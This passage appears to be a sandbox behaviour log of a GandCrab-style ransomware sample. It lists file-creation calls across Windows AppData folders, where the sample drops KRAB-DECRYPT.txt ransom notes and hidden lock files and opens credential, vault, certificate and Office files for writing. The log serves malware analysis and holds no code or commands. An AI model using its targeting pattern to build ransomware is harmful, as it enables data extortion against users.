Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Documents.LNK desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Global.LNK desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\index.dat desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\OneNote\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\OneNote\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\OneNote\16.0\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\OneNote\16.0\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\OneNote\16.0\Preferences.dat desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\Outlook.srs desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Outlook\Outlook.xml desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\PowerPoint\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\PowerPoint\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Proof\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Proof\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\CREDHIST desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\496f2c5b-a90f-4380-b805-3bf6ac63451b desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\5b8a3202-35dc-4437-b5d7-374f5e872415 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\a0f53be0-84fb-4908-9252-998f080e895a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\d7746ecf-458e-4e71-8557-8ac80457022a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\S-1-5-21-1462094071-1423818996-289466292-1000\Preferred desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Protect\SYNCHIST desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Publisher\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Publisher\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Publisher Building Blocks\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Publisher Building Blocks\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Speech\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Speech\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Calendar insights.xltm desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Cashflow analysis.xltm desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Email Insights.xltm desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001103[[fn=Headlines]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001104[[fn=Feathered]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001105[[fn=Crop]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001106[[fn=Badge]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\1033\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\1033\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\1033\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\1033\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Normal.dotm desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Process Map for Basic Flowchart.xltx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Process Map for Cross-Functional Flowchart.xltx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Stock symbols comparison.xltm desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Welcome to Excel.xltx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\UProof\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\UProof\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Vault\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Vault\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Word\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
